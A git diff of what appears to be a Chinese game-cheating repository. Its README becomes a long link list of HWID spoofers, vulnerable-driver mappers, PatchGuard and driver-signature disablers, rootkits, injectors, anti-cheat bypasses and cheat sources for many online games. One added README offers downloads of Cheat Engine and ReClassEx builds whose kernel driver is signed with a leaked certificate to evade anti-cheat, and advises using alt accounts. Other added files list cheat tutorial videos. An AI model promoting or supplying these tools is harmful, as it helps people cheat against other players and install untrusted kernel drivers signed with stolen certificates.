diff --git a/.gitignore b/.gitignore index 259148f..db360c9 100644 --- a/.gitignore +++ b/.gitignore @@ -27,6 +27,6 @@ *.lib # Executables -*.exe +# *.exe *.out *.app diff --git "a/12.\345\256\214\345\226\204\345\244\226\346\214\202\345\212\237\350\203\275/README.md" "b/12.\345\256\214\345\226\204\345\244\226\346\214\202\345\212\237\350\203\275/README.md" deleted file mode 100644 index e668ebb..0000000 --- "a/12.\345\256\214\345\226\204\345\244\226\346\214\202\345\212\237\350\203\275/README.md" +++ /dev/null @@ -1,15 +0,0 @@ - -## 基本的外挂源码,不需要DLL注入,随开随用 - -# 截图展示 -

- -

- - - - - - - - diff --git a/README.md b/README.md index 68454eb..b1ced45 100644 --- a/README.md +++ b/README.md @@ -1,73 +1,387 @@ # 前言 -## 说明 -作者大学生一个,技术水平有限,而且学习方向也不是破解逆向相关的,有错误的地方还望大佬指点。 - -## 再次说明 -教程以交流技术为主要目的,只学技术,可别卖挂啊!!!! - -## 针对对象 -教程针对的是刚刚入门相关技术的,所以会简单点。 - -## 需要工具 -Cheat Engine(CE) - 找游戏内基址和偏移,略微懂一点就好。 - -Visual Studio(VS) - 编写和编译C++代码,应该哪一个版本的都没问题 - -## 教程安排 -1.先看一下辅助软件的最终效果,看看结果满意不 - -2.开始用CE查找游戏内的基址和偏移 - -3.编写代码实现游戏的hook相关操作 - -4.使用imgui界面库实现菜单功能 - -5.编写代码实现游戏的透视和方框操作 - -6.编写代码实现游戏的自瞄操作 - -7.完善代码和添加一些其它的功能 - -8.讲解一下Osiris和Gladiatorcheatz-v2.1代码 -> 怎么实现人物辉光、怎么实现武器换肤、怎么实现大陀螺(anti aim)、怎么实现无限举报玩家..... - -9.发现啥牛逼的技术再进行更新 - -## 星星 -教程拿走,给我点一个Star?哈哈哈 - -## 相关网站 - -[一号选手](https://www.unknowncheats.me/forum/index.php):一个国外的辅助论坛,CSGO、使命、APEX、CF.....的源码、地址、偏移、思路....... - -[二号选手](https://www.freebuf.com/news/139515.html):一个国内的网站,偏安全方面的 - -[三号选手](https://gslab.qq.com/portal.php?mod=view&aid=168):一个国内的网站,游戏安全方面的 - -[四号选手](https://vmcall.blog/):一个国外的个人网站,讲解BE保护的 - - - - - - - - - - - - - - - - - - - - - - - - - +

+ +

+ +## 支持作者 :two_hearts: +项目Pull requests、项目Star、项目Watch + +## 机器码欺骗|SPOOFER HWID +
+ +* [wmi-static-spoofer](https://github.com/Alex3434/wmi-static-spoofer) +* [hwid](https://github.com/btbd/hwid) +* [negativespoofer](https://github.com/SamuelTulach/negativespoofer) +* [mutant](https://github.com/SamuelTulach/mutante) +* [VolumeSerial](https://github.com/lallousx86/VolumeSerial) +* [hdd_serial_spoofer](https://github.com/namazso/hdd_serial_spoofer) +* [Pasting.Win](https://github.com/furiosdestruct/Pasting.Win) +* [Hardware_Spoofer](https://github.com/mq1n/Hardware_Spoofer) +* [AimKit-Pasted-Driver](https://github.com/nofvcks/AimKit-Pasted-Driver) +* [TestSpoof](https://github.com/Volkanite/TestSpoof) +* [talibanprotectionsownerfucked](https://github.com/Autarch-s/talibanprotectionsownerfucked) +* [hwid_spoofer](https://github.com/Skotschia/hwid_spoofer) +* [hwid-checker-mg](https://github.com/medievalghoul/hwid-checker-mg) +* [Osu-Bypass](https://github.com/JakeDahl/Osu-Bypass) +* [AntiOS](https://github.com/vektort13/AntiOS) +* [HWIDbypass](https://github.com/yunseok/HWIDbypass) +* [NULL-CPP-SPOOFER](https://github.com/Xiloe/NULL-CPP-SPOOFER) +* [hwid_spoofer](https://github.com/haram/hwid_spoofer) +* [GetHDDSerial](https://github.com/Alex3434/GetHDDSerial) +* [hwid-spoofer](https://github.com/fengjixuchui/hwid-spoofer) +
+ +## 脆弱驱动|Vulnerable Driver +
+ +* [kdmapper](https://github.com/z175/kdmapper) +* [kdmapper-1803-1903](https://github.com/alxbrn/kdmapper-1803-1903) +* [kdmapper-1803-2004](https://github.com/TheCruZ/kdmapper-1803-2004) +* [kdmapper-1909](https://github.com/Dark7oveRR/kdmapper) +* [gdrv-loader](https://github.com/alxbrn/gdrv-loader) +* [drvmap](https://github.com/not-wlan/drvmap) +* [SpeedFan-Exploit](https://github.com/SamLarenN/SpeedFan-Exploit) +* [SafeMapper](https://github.com/thomhughes/SafeMapper) +* [CapcomDriver](https://github.com/BlueSkeye/CapcomDriver) +* [CapcomLib](https://github.com/Gbps/CapcomLib) +* [safe_capcom](https://github.com/can1357/safe_capcom) +* [ExploitCapcom](https://github.com/tandasat/ExploitCapcom) +* [CapcomDKOM](https://github.com/SamLarenN/CapcomDKOM) +* [pplib](https://github.com/notscimmy/pplib) +* [libcapcom](https://github.com/notscimmy/libcapcom) +* [libelevate](https://github.com/notscimmy/libelevate) +* [CPUZ-DSEFix](https://github.com/SamLarenN/CPUZ-DSEFix) +* [Stryker](https://github.com/hfiref0x/Stryker) +
+ +## 内核技术|Kernel Technology +
+ +* [DSEFix](https://github.com/hfiref0x/DSEFix) +* [TDL](https://github.com/hfiref0x/TDL) +* [PPLKiller](https://github.com/Mattiwatti/PPLKiller) +* [MemoryMon](https://github.com/tandasat/MemoryMon) +* [MasterHide](https://github.com/crvvdev/MasterHide) +* [KDU](https://github.com/hfiref0x/KDU) +* [hidden](https://github.com/JKornev/hidden) +* [HideDriver](https://github.com/Sqdwr/HideDriver) +* [HideDriver](https://github.com/nbqofficial/HideDriver) +* [WinObjEx64](https://github.com/hfiref0x/WinObjEx64) +* [TraceCleaner](https://github.com/BadPlayer555/TraceCleaner) +* [Win_Rootkit](https://github.com/alal4465/Win_Rootkit) +* [MemScanner](https://github.com/FaEryICE/MemScanner) +
+ +## UEFI +
+ +* [efi-memory](https://github.com/SamuelTulach/efi-memory) +* [EFI_Driver_Access](https://github.com/TheCruZ/EFI_Driver_Access) +* [EfiDump](https://github.com/SamuelTulach/EfiDump) +* [umap](https://github.com/btbd/umap) +
+ +## 内核读写|Kernel Read And Write +
+ +* [FancyCheats](https://github.com/syros156/FancyCheats) +* [Kernel_Driver_Hack](https://github.com/TheCruZ/Kernel_Driver_Hack) +* [kernel-read-write-using-ioctl](https://github.com/beans42/kernel-read-write-using-ioctl) +* [km-um-communication](https://github.com/alxbrn/km-um-communication) +* [KernelBhop](https://github.com/Zer0Mem0ry/KernelBhop) +* [Kernel-Hijack](https://github.com/SamLarenN/Kernel-Hijack) +* [Blackbone](https://github.com/DarthTon/Blackbone) +* [Kernel-Bridge](https://github.com/HoShiMin/Kernel-Bridge) +* [norsefire](https://github.com/nbqofficial/norsefire) +* [Full-Kernel-Driver](https://github.com/unmaewei/Full-Kernel-Driver) +* [memdrv](https://github.com/SamuelTulach/memdrv) +* [kernerldriverandclient](https://github.com/pakeke801/kernerldriverandclient) +* [MdlReadWriteProcess-MDL](https://github.com/rring0/MdlReadWriteProcess-MDL-) +* [BOOM](https://github.com/zoand/BOOM) +* [CTL-hook](https://github.com/jguo52/IOCTL-hook) +* [KeProcessOverlay](https://github.com/johnsonjason/KeProcessOverlay) +* [dma_ip_drivers](https://github.com/Xilinx/dma_ip_drivers) +* [pcileech](https://github.com/ufrisk/pcileech) +
+ +## 动态连接库注入|Dynamic Link Library Injection +
+ +* [Kernelmode-manual-mapping-through-IAT](https://github.com/mactec0/Kernelmode-manual-mapping-through-IAT) +* [modmap](https://github.com/btbd/modmap) +* [smap](https://github.com/btbd/smap) +* [DoubleAgent](https://github.com/Cybellum/DoubleAgent) +* [Genshin-Bypass](https://github.com/veselysps/Genshin-Bypass) +* [ThePerfectInjector](https://github.com/can1357/ThePerfectInjector) +* [injdrv](https://github.com/wbenny/injdrv) +* [MemoryModule](https://github.com/fancycode/MemoryModule) +* [GInjer](https://github.com/Vicshann/GInjer) +* [AheadLib-x86-x64](https://github.com/strivexjun/AheadLib-x86-x64) +* [SuperDllHijack](https://github.com/anhkgg/SuperDllHijack) +* [CowInjecter](https://github.com/huoji120/CowInjecter) +* [face-injector-v2](https://github.com/KANKOSHEV/face-injector-v2) +
+ +## 内核回调|Kernel Callback +
+ +* [ObRegisterCallBacksByPass](https://github.com/zhuhuibeishadiao/ObRegisterCallBacksByPass) +* [ObRegisterCallBacksByPass](https://github.com/JackBro/ObRegisterCallBacksByPass) +* [CallbackEx](https://github.com/binbibi/CallbackEx) +* [RemoveCallBacks](https://github.com/Sqdwr/RemoveCallBacks) +* [CallbackDisabler](https://github.com/SamLarenN/CallbackDisabler) +* [ExecutiveCallbackObjects](https://github.com/0xcpu/ExecutiveCallbackObjects) +* [kmexts](https://github.com/OSRDrivers/kmexts) +* [cbtest](https://github.com/swwwolf/cbtest) +* [CheekyBlinder](https://github.com/br-sn/CheekyBlinder) +
+ +## 窗口重叠|Window Overlap +
+ +* [wda_monitor_trick](https://github.com/wongfei/wda_monitor_trick) +* [dwm_overlay](https://github.com/wongfei/dwm_overlay) +* [dxgkrnl_hook](https://github.com/vmcall/dxgkrnl_hook) +* [window_hijack](https://github.com/thesecretclub/window_hijack) +* [aero-overlay](https://github.com/ReactiioN1337/aero-overlay) +* [DX9-Overlay-API](https://github.com/agrippa1994/DX9-Overlay-API) +* [nvidia-overlay-hijack](https://github.com/iraizo/nvidia-overlay-hijack) +* [GH_D3D11_Hook](https://github.com/guided-hacking/GH_D3D11_Hook) +* [dwmhook](https://github.com/bobberman/dwmhook) +
+ +## 应用层技巧|Application Layer Skills +
+ +* [access](https://github.com/btbd/access) +* [NoBastian](https://github.com/mlghuskie/NoBastian) +* [EUPMAccess](https://github.com/waryas/EUPMAccess/tree/master/EnablePhysicalMemory) +* [HLeaker](https://github.com/Schnocker/HLeaker) +* [vmread](https://github.com/h33p/vmread) +* [LSASS-Usermode-Bypass](https://github.com/ContionMig/LSASS-Usermode-Bypass) +
+ +## 程序调试|Program Debug +
+ +* [ScyllaHide](https://github.com/x64dbg/ScyllaHide) +* [TitanHide](https://github.com/mrexodia/TitanHide) +* [Mirage](https://github.com/stonedreamforest/Mirage) +* [Anti-debug](https://github.com/jguo52/Anti-debug) +* [Anti-Anti-Debug](https://github.com/jguo52/Anti-Anti-Debug) +* [al-khaser](https://github.com/LordNoteworthy/al-khaser) +* [Kernel-Anit-Anit-Debug-Plugins](https://github.com/DragonQuestHero/Kernel-Anit-Anit-Debug-Plugins) +* [XAntiDebug](https://github.com/strivexjun/XAntiDebug) +
+ +## 字符串加密|String Encryption +
+ +* [xorstr](https://github.com/JustasMasiulis/xorstr) +* [skCrypter](https://github.com/skadro-official/skCrypter) +* [nt_wrapper](https://github.com/JustasMasiulis/nt_wrapper) +
+ + +## 逆向程序|Reverse Program +
+ +* [ghidra](https://github.com/NationalSecurityAgency/ghidra) +* [cutter](https://github.com/radareorg/cutter) +* [zydis](https://github.com/zyantific/zydis) +* [ReClassEx](https://github.com/ajkhoury/ReClassEx) +* [ReClass.NET](https://github.com/ReClassNET/ReClass.NET) +
+ +## UE4分析|UE4 Analysis +
+ +* [shootergame-Hack](https://github.com/jguo52/shootergame-Hack) +* [UE4Dumper](https://github.com/kp7742/UE4Dumper) +* [UnrealEngineSDKGenerator](https://github.com/polivilas/UnrealEngineSDKGenerator) +* [Unreal-Finder-Tool](https://github.com/CorrM/Unreal-Finder-Tool) +* [UE4-c-](https://github.com/RampageMod/UE4-c-) +
+ +## 应用层挂钩|User Mode Hook +
+ +* [ColdHook](https://github.com/Rat431/ColdHook) +* [Detours](https://github.com/microsoft/Detours) +* [minhook](https://github.com/TsudaKageyu/minhook) +* [PolyHook](https://github.com/stevemk14ebr/PolyHook) +* [PolyHook 2.0](https://github.com/stevemk14ebr/PolyHook_2_0) +
+ +## 内核层挂钩|Kernel Mode Hook +
+ +* [HookLib](https://github.com/HoShiMin/HookLib) +* [DdiMon](https://github.com/tandasat/DdiMon) +* [HyperPlatform](https://github.com/tandasat/HyperPlatform) +* [kernelhook](https://github.com/adrianyy/kernelhook) +* [HyperBone](https://github.com/DarthTon/HyperBone) +* [WinAltSyscallHandler](https://github.com/0xcpu/WinAltSyscallHandler) +* [EasyHook](https://github.com/EasyHook/EasyHook) +* [InfinityHook](https://github.com/everdox/InfinityHook) +* [DetoursNT](https://github.com/wbenny/DetoursNT) +* [SyscallHook](https://github.com/Gricnik/SyscallHook) +* [KasperskyHook](https://github.com/iPower/KasperskyHook) +* [SyscallTables](https://github.com/hfiref0x/SyscallTables) +* [gbhv](https://github.com/Gbps/gbhv) +
+ +## 内存模式匹配|Memory Pattern Matching +
+ +* [x64_AOB_Search](https://github.com/wanttobeno/x64_AOB_Search) +* [physmem-Scanner](https://github.com/jguo52/physmem-Scanner) +
+ +## PatchGuard +
+ +* [WindowsD](https://github.com/katlogic/WindowsD) +* [FuckPg](https://github.com/h4xu3lyn/FuckPg) +* [findpg](https://github.com/tandasat/findpg) +* [PatchGuardResearch](https://github.com/zhuhuibeishadiao/PatchGuardResearch) +* [Sunstrider](https://github.com/MeeSong/Sunstrider) +* [PgResarch](https://github.com/tandasat/PgResarch) +* [EfiGuard](https://github.com/Mattiwatti/EfiGuard) +* [UPGDSED](https://github.com/hfiref0x/UPGDSED) +* [Shark](https://github.com/9176324/Shark) +* [DisableWin10PatchguardPoc](https://github.com/killvxk/DisableWin10PatchguardPoc) +* [ByePg](https://github.com/can1357/ByePg) +
+ +## BattlEye +
+ +* [Splendid Implanter](https://github.com/haram/splendid_implanter) +* [BattlEye](https://github.com/Schnocker/NoEye) +* [BE-Bypass](https://github.com/UCRaptor/BE-Bypass) +* [BEDaisy](https://github.com/Aki2k/BEDaisy) +* [BottlEye](https://github.com/loqix/BottlEye) +
+ +## EasyAntiCheat +
+ +* [EAC_dbp](https://github.com/Schnocker/EAC_dbp) +* [Eac-Bypass](https://github.com/Flashyyyyyy/Eac-Bypass) +* [EACReversing](https://github.com/adrianyy/EACReversing) +* [CVEAC-2020](https://github.com/thesecretclub/CVEAC-2020) +
+ +## Valve Anti-Cheat +
+ +* [VAC Bypass](https://github.com/danielkrupinski/VAC-Bypass) +* [VAC](https://github.com/danielkrupinski/VAC) +* [VAC Bypass Loader](https://github.com/danielkrupinski/VAC-Bypass-Loader) +* [vac3_inhibitor](https://github.com/zyhp/vac3_inhibitor) +
+ +## 堡垒之夜|Fortnite +
+ +* [fortnite-cheat-source-public](https://github.com/Joona70/fortnite-cheat-source-public) +* [FortniteCheatSource](https://github.com/ytmcgamer/FortniteCheatSource) +* [Fortnite-Offsets](https://github.com/static-memory/Fortnite-Offsets) +* [FortniteCheatSRCUpdateEveryUpdate](https://github.com/Visual9999/FortniteCheatSRCUpdateEveryUpdate) +
+ +## 逃离塔克夫|Escape from Tarkov +
+ +* [Nathans-Tarkov-Radar-Public](https://github.com/CplNathan/Nathans-Tarkov-Radar-Public) +* [EnvyEFT](https://github.com/MadJayQ/EnvyEFT) +
+ +## 反恐精英:全球攻势|Counterstrike Global Offensive +
+ +* [Osiris](https://github.com/danielkrupinski/Osiris) +* [RPM-WPM-project](https://github.com/mikeeek/RPM-WPM-project) +* [GarHal_CSGO](https://github.com/dretax/GarHal_CSGO) +* [heck_exe](https://github.com/h1ru5/heck_exe) +* [wok-csgo-sdk-v2](https://github.com/lagcomp/wok-csgo-sdk-v2) +* [SpyExternal1337hax](https://github.com/0TheSpy/SpyExternal1337hax) +* [NIXWARE-CSGO](https://github.com/Shaxzy/NIXWARE-CSGO) +* [Gladiatorcheatz-v2.1](https://github.com/sstokic-tgm/Gladiatorcheatz-v2.1) +* [master-guide](https://github.com/csgohacks/master-guide) +* [hazedumper](https://github.com/frk1/hazedumper/blob/master/csgo.hpp) +* [csgo-dma-overlay](https://github.com/slack69/csgo-dma-overlay) +* [csgo-external-radar](https://github.com/ryanocf/csgo-external-radar) +
+ +## Apex英雄|Apex Legends +
+ +* [ApexGaming.py](https://github.com/AnusReaper/ApexGaming.py) +* [EzApexDMAAimbot](https://github.com/Y33Tcoder/EzApexDMAAimbot) +* [AnotherApexDebug](https://github.com/luciouskami/AnotherApexDebug) +* [apex_dma_kvm_pub](https://github.com/MisterY52/apex_dma_kvm_pub) +* [Direct-EFI-Apex-Cheat](https://github.com/TheCruZ/Direct-EFI-Apex-Cheat) +* [apexbot](https://github.com/CasualX/apexbot) +* [LeagueDumper](https://github.com/tarekwiz/LeagueDumper) +
+ +## 侠盗猎车手5|Grand Theft Auto V +
+ +* [gta5_cheats_1.50](https://github.com/FiYHer/gta5_cheats_1.50) +* [pHake](https://github.com/xhz8s/pHake) +* [subVerison_GTAV_Hack](https://github.com/AmazingPP/subVerison_GTAV_Hack) +* [GTA5_Cheats_Native_Menu](https://github.com/expvintl/GTA5_Cheats_Native_Menu) +* [GrandTheftAutoV-Cheat](https://github.com/HowYouDoinMate/GrandTheftAutoV-Cheat) +
+ +## 战区|Call Of Duty: Modern Warfare +
+ +* [Warzone-Helper](https://github.com/atheleon/Warzone-Helper) +* [MW-Decryption](https://github.com/moleskn/MW-Decryption) +
+ +## 英雄联盟|League Of Legends +
+ +* [league-skin-changer](https://github.com/pakeke801/league-skin-changer) +
+ +## 绝地求生|PLAYERUNKNOWN’S BATTLEGROUNDS +
+ +* [Pubg-internal-sdk](https://github.com/GuzeyA/Pubg-internal-sdk) +
+ +## 和平精英|PLAYERUNKNOWN’S BATTLEGROUNDS Mobile +
+ +* [pubg_mobile_memory_hacking_examples](https://github.com/atiksoftware/pubg_mobile_memory_hacking_examples) +* [pubg_mobile_memory_hacking](https://github.com/atulkunal999/pubg_mobile_memory_hacking) +* [PUBGM-ESP-AIMBOT](https://github.com/7AM7/PUBGM-ESP-AIMBOT) +
+ +## 彩虹六号|Tom Clancy's Rainbow Six Siege +
+ +* [r6s-external-nuklear-hook](https://github.com/alxbrn/r6s-external-nuklear-hook) +* [R6SDK](https://github.com/weak1337/R6SDK) +* [Internal-Rainbow-Six-Cheat](https://github.com/NMan1/Internal-Rainbow-Six-Cheat) +* [OverflowR6V2](https://github.com/NMan1/OverflowR6V2) +* [RainbowSixDmaKvm](https://github.com/WCharacter/RainbowSixDmaKvm) +* [RainbowSixDMA](https://github.com/tobnap/RainbowSixDMA) +* [R6Updater](https://github.com/Kix48/R6Updater) +
+ +## 相关网站|More Knowledge +
+ +* [ 一号选手 - 英文 ](https://www.unknowncheats.me/forum/index.php) +* [ 二号选手 - 英文 ](https://guidedhacking.com/) +* [ 三号选手 - 英文 ](https://void.to) +
diff --git "a/[\345\267\245\345\205\267] [\346\234\254\344\272\272] Bypass AC analytics games/README.md" "b/[\345\267\245\345\205\267] [\346\234\254\344\272\272] Bypass AC analytics games/README.md" new file mode 100644 index 0000000..9b11172 --- /dev/null +++ "b/[\345\267\245\345\205\267] [\346\234\254\344\272\272] Bypass AC analytics games/README.md" @@ -0,0 +1,97 @@ +# 前言 + +我们想要做一款游戏的辅助,第一步就是要分析游戏,找到我们想要的数据地址 + +针对简单的和没有保护的游戏,我们也能使用简单的工具就能进行分析 + +但是,如果我们要面对的是大型的游戏,或者是网络游戏,那简单的工具就无法分析了 + +因为游戏会有反作弊系统进行保护,比较有名的反作弊系统有TP BE EAC等 + +它们或许使用内核回调函数或者挂钩相应函数,让我们普通工具无法访问游戏内存 + +难道就没有人搞一些能绕过上面这些反作弊保护的工具么?让广大码农方便一点点 + +好吧,为了自己的方便,也为了大家的方便,我就搞了几款工具,发放出来让大家方便一点 + +## 第一款 : ReClassEx Driver + +## 第二款 : CrySearch Driver + +## 第三款 : Cheat Engine Driver + +这三款工具都是比较常用的工具了,所以我就修改这三款工具,让它们能绕过反作弊系统 + +# 怎么用? + +非常方便简单,打开工具后打开游戏,或者打开游戏后打开工具,顺序不重要的 + +打开后就选择游戏进行附加就行了 + +就算CE里面没有显示图标,照样能读取游戏的内存 + +就不像某些教程里面要修改游戏的保护驱动才能使用CE + +想分析游戏就打开工具,不想分析了就关闭程序,就这么简单 + +但是我不确保调试游戏功能也能正常使用!!! + +# 什么原理? + +其实很简单,主要就在三个函数 + +1. OpenProcess + +2. ReadProcessMemory + +3. WriteProcessMemory + +我将这三个函数进行Hook操作,使用我自己修改的函数,也就是使用内核操作,就这么简单! + +如果想要参考源码的话,可以去看看这个项目,你就会有所启发的 -> [access](https://github.com/btbd/access) + +# 后话 + +我提供的驱动蓝屏的几率是0.001%,那就是和反作弊驱动冲突造成的 + +我尝试分析pubg mobile的时候就是它那个反作弊驱动触发蓝屏,也是无语 + +驱动有签名了,是我使用泄露签字证书签的,可能会被一些安全软件判定为病毒文件 + +如果使用的人多的话还会被定位特征码的,所以分析游戏的时候要用小号,这应该不需要多说什么 + +# 下载 + +[ReClassEx Driver](https://wwx.lanzoux.com/itdCZipsoej) + +[CrySearch Driver](https://wwx.lanzoux.com/ibCqSipsreh) + +[Cheat Engine Driver](https://wwx.lanzoux.com/iPNzQipsw6j) +[Cheat Engine Driver 2020.12.15](https://wwx.lanzoux.com/i1bCsjdsycb) + +# 祝你工作愉快 + + + + + + + + + + + + + + + + + + + + + + + + + diff --git "a/[\346\225\231\347\250\213] [15208240327] CrossFire/README.md" "b/[\346\225\231\347\250\213] [15208240327] CrossFire/README.md" new file mode 100644 index 0000000..d1a2273 --- /dev/null +++ "b/[\346\225\231\347\250\213] [15208240327] CrossFire/README.md" @@ -0,0 +1,16 @@ +## 作者 : 15208240327 +## 平台 : BiliBili +## 集数 : 8 +## 游戏 : CrossFire + +[第一集](https://www.bilibili.com/video/BV1gT4y1g7Qo?p=1) +[第二集](https://www.bilibili.com/video/BV1gT4y1g7Qo?p=2) +[第三集](https://www.bilibili.com/video/BV1gT4y1g7Qo?p=3) +[第四集](https://www.bilibili.com/video/BV1gT4y1g7Qo?p=4) +[第五集](https://www.bilibili.com/video/BV1gT4y1g7Qo?p=5) +[第六集](https://www.bilibili.com/video/BV1gT4y1g7Qo?p=6) +[第七集](https://www.bilibili.com/video/BV1gT4y1g7Qo?p=7) +[第八集](https://www.bilibili.com/video/BV1gT4y1g7Qo?p=8) + + + diff --git "a/[\346\225\231\347\250\213] [Dick\344\270\266\350\277\267\346\201\213] CrossFire/README.md" "b/[\346\225\231\347\250\213] [Dick\344\270\266\350\277\267\346\201\213] CrossFire/README.md" new file mode 100644 index 0000000..f9338b5 --- /dev/null +++ "b/[\346\225\231\347\250\213] [Dick\344\270\266\350\277\267\346\201\213] CrossFire/README.md" @@ -0,0 +1,15 @@ +## 作者 : Dick丶迷恋 +## 平台 : BiliBili +## 集数 : 7 +## 游戏 : CrossFire + +[第一集](https://www.bilibili.com/video/BV1dV411R7kF?t=1) +[第二集](https://www.bilibili.com/video/BV1dV411R7kF?p=2) +[第三集](https://www.bilibili.com/video/BV1dV411R7kF?p=3) +[第四集](https://www.bilibili.com/video/BV1dV411R7kF?p=4) +[第五集](https://www.bilibili.com/video/BV1dV411R7kF?p=5) +[第六集](https://www.bilibili.com/video/BV1dV411R7kF?p=6) +[第七集](https://www.bilibili.com/video/BV1dV411R7kF?p=7) + + + diff --git "a/[\346\225\231\347\250\213] [Guided Hacking] Counterstrike Global Offensive/README.md" "b/[\346\225\231\347\250\213] [Guided Hacking] Counterstrike Global Offensive/README.md" new file mode 100644 index 0000000..98c65e2 --- /dev/null +++ "b/[\346\225\231\347\250\213] [Guided Hacking] Counterstrike Global Offensive/README.md" @@ -0,0 +1,167 @@ +# [国外教程] + +作者 : Guided Hacking + +平台 : YouTube + +语言 : C++ + +说明 : 实在太多视频了,你们自己去这大佬主页找吧 + +教程 : :smile: + +## 其它 +[How to solve Pride #1 CrackMe Tutorial - Beginner Level](https://youtu.be/H71G8ZRjWek) + +[HackTheBox Irked Walkthrough - UnrealIRCd Exploit](https://youtu.be/bab2t0QkZd8) + +[How to Unpack Malware, How to use Imprec, How to find OEP](https://youtu.be/Er0_FkLUk3U) + +[How to Hack Gwent - Witcher 3 Cheat Engine Tutorial](https://youtu.be/9mGdPevwwXw) + +[Practical Reverse Engineering 2 - Pg 35 Exercise 1 Sample J](https://youtu.be/5_LHA3sl7-4) + +[How to Hack MineSweeper x32dbg Reversing Tutorial](https://youtu.be/ixB7iaea4l0) + +[Practical Malware Analysis Walkthrough - Chapter 1 Labs](https://youtu.be/lwUve1VdFYs) + +[Kernel 2 - Usermode Communication - IOCTL Tutorial](https://youtu.be/eumG222Efzs) + +[HackTheBox Giddy Walkthrough Tutorial - Unifi Video Exploit](https://youtu.be/phgxctCHyHw) + +[Practical Reverse Engineering Exercise 1 Solution Page 11](https://youtu.be/1zY7lbcbBZQ) + +[HackTheBox Blue Walkthrough Eternal Blue Exploit MS17-010](https://youtu.be/sx9daqxvrrA) + +[Simple Wordpress Web Shell Tutorial](https://youtu.be/XHShse4z6ds) + +## OpenGL + +[C++ Internal Trampoline Hook Tutorial - OpenGL Hook](https://youtu.be/HLh_9qOkzy0) + +[How to make an OpenGL ESP Tutorial](https://youtu.be/kGDKQXgxIrY) + +[OpenGL Hook - SwapBuffers Hook Tutorial - Drawing & Text 1/2](https://youtu.be/dEgva5-OsSY) + +[OpenGL Hook - SwapBuffers Hook Tutorial - Drawing & Text 2/2](https://youtu.be/6JV0dmLWMNs) + + +## CS420 + +[CS420 - 1 Game Hacking Course Introduction](https://youtu.be/hj4rhfnikVs) + +[CS420 - 2 Memory Editing 1 - Game Hacking Course](https://youtu.be/xOBE_vWDX_I) + +[CS420 - 3 Base Systems - Hex, Decimal & Binary](https://youtu.be/nA7o5kmH6wg) + +[CS420 - 4 - How to Hex Edit Games - Game Hacking Course](https://youtu.be/EpcK8uk7lcY) + +[CS420 - 5 - Memory Editing & Data Types - Game Hacking Course](https://youtu.be/6KNNRqjpgGE) + +[CS420 6 - What is Virtual Memory ? Full Course](https://youtu.be/aPNcEckD1Qk) + +[CS420 7 - Virtual Memory & Multilevel Pointers Tutorial](https://youtu.be/_W0xdVO8-j4) + +## Cheat Engine + +[Cheat Engine Tutorial Guide 1/3 Steps 1-5](https://youtu.be/Nib69uZJCaA) + +[Cheat Engine Tutorial Guide 2/3 Steps 6-9 Pointers and Code Injection](https://youtu.be/yjdSxL2DWfE) + +[Cheat Engine Tutorial Guide 3/3 Tutorial Games](https://youtu.be/H9_0exi5tCU) + +[How To Find Offsets, Entity Addresses & Pointers](https://youtu.be/YaFlh2pIKAg) + +[Cheat Engine How to Pointer Scan with Pointermaps](https://youtu.be/nQ2F2iW80Fk) + +[How to Hack Any Game C++ External Trainer Assault Cube 1/2](https://youtu.be/wiX5LmdD5yk) + +[How to Hack Any Game C++ External Trainer Assault Cube 2/2](https://youtu.be/UMt1daXknes) + +## Tibia + +[OllyDBG Tibia Reverse Engineering & Function Calling Tutorial 1/3](https://youtu.be/zldW5gBc-JE) + +[How to make a Tibia Bot - MMO Botting Tutorial by Petko123 3/3](https://youtu.be/cp7DW6-mKc4) + +[Reverse Engineering Tibia Packet Function - x64dbg Tutorial 2/3](https://youtu.be/wVhuhYiA8-8) + +## CSGO + +[How To Find CSGO NetVar Offsets Tutorial with IDA Pro](https://youtu.be/QdG9-jxOf8Y) + +[CSGO How to find m_bDormant offset tutorial bDormant](https://youtu.be/YCv3sqcPb6E) + +[Cody's C++ CSGO Bunnyhop Tutorial Part1 External](https://youtu.be/jO5GUhwd86U) + +[Cody's C++ CSGO Bunnyhop Tutorial Part2 Internal](https://youtu.be/fxqa5pBvnIU) + +[Cody CSGO Triggerbot Tutorial External Pt1](https://youtu.be/zEK1mF-DcWk) + +[Cody's CSGO Triggerbot Tutorial External Pt2](https://youtu.be/3eNNQD8c1W8) + +[How to Hack CSGO - CSGO Triggerbot Tutorial External Part3](https://youtu.be/XaOwqvEdK6Y) + +[How to Hack CSGO - C++ External CSGO Anti Flash Tutorial](https://youtu.be/PWhv0C0jD2k) + +[Cody's External C++ CSGO GlowHack Tutorial](https://youtu.be/jutZzuvX8Qs) + +[Cody's External C++ CSGO GlowHack Tutorial Pt.2](https://youtu.be/UWt3KMRXtEg) + +[Cody's External C++ CSGO Glow Tutorial Pt.3](https://youtu.be/SrzFQ_ab8ug) + +[C++ CSGO External bSpotted Hack - 2D Radar Tutorial](https://youtu.be/5VOkRJk1GVg) + +[D3D9 CSGO ESP Tutorial 1 - EndScene Hook Tutorial - esp1z1](https://youtu.be/7QDkceeykbI) + +[D3D9 CSGO ESP Tutorial 2 - EntityList & Snap Line ESP Tutorial](https://youtu.be/jnUZT2gWWuE) + +[D3D9 CSGO ESP Tutorial 3 - ESP Boxes, Health Bars & Recoil Crosshair](https://youtu.be/FXRXL7lQLTg) + +[D3D9 CSGO ESP Tutorial 4 - 3D Box ESP, Health & More](https://youtu.be/uwyNvHdLOmo) + +[D3D9 CSGO ESP Tutorial 5 - Direct3D Menu & More](https://youtu.be/FjRhxSiWA_Q) + +[CSGO Netvar Manager Tutorial - How to get Netvar offsets](https://youtu.be/hBA-_aAETX4) + +[CSGO CreateInterface - How to get Interfaces - GetInterface](https://youtu.be/HHHlNdmzYqA) + +[CSGO How to Call TraceRay - IEngineTrace Interface Tutorial](https://youtu.be/sv79Mgt_FmY) + +[CSGO How to Find TraceRay / TraceLine - Reversing Tutorial](https://youtu.be/hZQzJkzmPG4) + +[dwForceJump Bitfields & BitFlags - CSGO BunnyHop Tutorial - Explained](https://youtu.be/igtUR9on0NE) + +[C++ CSGO RCS Hack - Recoil Control System Tutorial - Quick & EZ](https://youtu.be/i99MqX5BjlI) + +[How to Find the ViewMatrix Offset CSGO](https://youtu.be/crT9zGviqVs) + +[CSGO Aimbot Tutorial & CalcAngle Explained](https://youtu.be/sDd8aBCCBbA) + +[How to Find and Reverse the CSGO EntityList with ReClass.NET](https://youtu.be/oXlOboQURy0) + +## 上古卷轴5 + +[C++ Skyrim Mods Part1: Introduction & Overlay](https://youtu.be/i8Cn7fydNUA) + +[C++ Skyrim Mods Part2: How to Find Entitylist & 